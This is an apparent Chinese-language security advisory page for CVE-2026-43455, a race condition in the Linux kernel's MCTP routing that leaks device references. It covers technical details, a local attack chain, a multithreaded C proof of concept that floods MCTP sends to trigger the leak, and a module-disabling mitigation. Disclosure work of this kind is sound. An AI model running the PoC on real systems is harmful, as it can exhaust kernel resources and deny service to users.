IPBUF安全漏洞报告
English
CVE-2026-43455 CVSS 5.5 中危

Linux内核mctp路由资源泄露漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43455
漏洞类型
竞争条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRace ConditionDoSResource LeakMCTP本地漏洞

漏洞概述

Linux内核的MCTP路由模块存在一个竞争条件漏洞。在`mctp_flow_prepare_output`函数中,检查并设置`key->dev`时未按预期持有`key->lock`锁。这导致在多核环境下,不同CPU核心可能同时通过检查并设置设备,造成设备引用计数泄漏,最终可能导致资源耗尽和拒绝服务。

技术细节

该漏洞位于Linux内核网络子系统的MCTP协议实现中。函数`mctp_flow_prepare_output`旨在准备数据包输出路径,需要访问并可能修改路由键(key)中的设备指针(`key->dev`)。尽管相关函数`mctp_dev_set_key`要求调用者持有`key->lock`以序列化访问,但在`mctp_sendmsg`的发送路径中调用此函数时并未加锁。

具体攻击场景如下:两个CPU核心同时执行该函数,均检查到`key->dev`为空,随后分别调用`mctp_dev_set_key`为设备A和设备B增加引用计数。由于缺乏锁保护,后写入的操作会覆盖`key->dev`的值。结果导致先被写入的设备引用计数永远不会被释放,造成内存泄漏。长期利用此漏洞可耗尽系统资源,导致系统崩溃或拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限账户访问权限 (PR:L)。
STEP 2
步骤2
攻击者创建多个线程,每个线程打开AF_MCTP套接字。
STEP 3
步骤3
攻击者利用多线程并发发送MCTP数据包,触发内核处理路径。
STEP 4
步骤4
在`mctp_flow_prepare_output`中触发竞争条件,导致设备引用计数泄漏。
STEP 5
步骤5
持续利用导致系统内存资源耗尽,引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43455 (Race Condition in mctp_flow_prepare_output) * This code attempts to trigger the race condition by creating multiple * threads that send MCTP messages simultaneously. * * Compile: gcc -o poc_mctp poc_mctp.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/mctp.h> #define NUM_THREADS 10 #define MCTP_ADDR 0x10 void *send_mctp_msg(void *arg) { int fd; struct sockaddr_mctp addr; char msg[32] = "Hello MCTP"; // Create an MCTP socket fd = socket(AF_MCTP, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return NULL; } memset(&addr, 0, sizeof(addr)); addr.smctp_family = AF_MCTP; addr.smctp_network = MCTP_NET_ANY; addr.smctp_addr.s_addr = MCTP_ADDR; addr.smctp_type = MCTP_TYPE_CONTROL; // Loop to send messages rapidly to increase race window for (int i = 0; i < 1000; i++) { if (sendto(fd, msg, sizeof(msg), 0, (struct sockaddr *)&addr, sizeof(addr)) < 0) { // Ignore errors like "Network unreachable" for PoC purposes } } close(fd); return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("Starting PoC for CVE-2026-43455\n"); // Create multiple threads to trigger concurrency for (int i = 0; i < NUM_THREADS; i++) { if (pthread_create(&threads[i], NULL, send_mctp_msg, NULL) != 0) { perror("pthread_create"); exit(1); } } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution finished. Check kernel logs for memory leaks or instability.\n"); return 0; }

影响范围

Linux Kernel (Stable branches before patches)
Linux Kernel versions with commit < 0695712f3a6f1a48915f95767cfb42077683dcdc

防御指南

临时缓解措施
如果系统不使用MCTP(Management Component Transport Protocol)功能,建议通过modprobe禁用相关模块(如mctp)以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表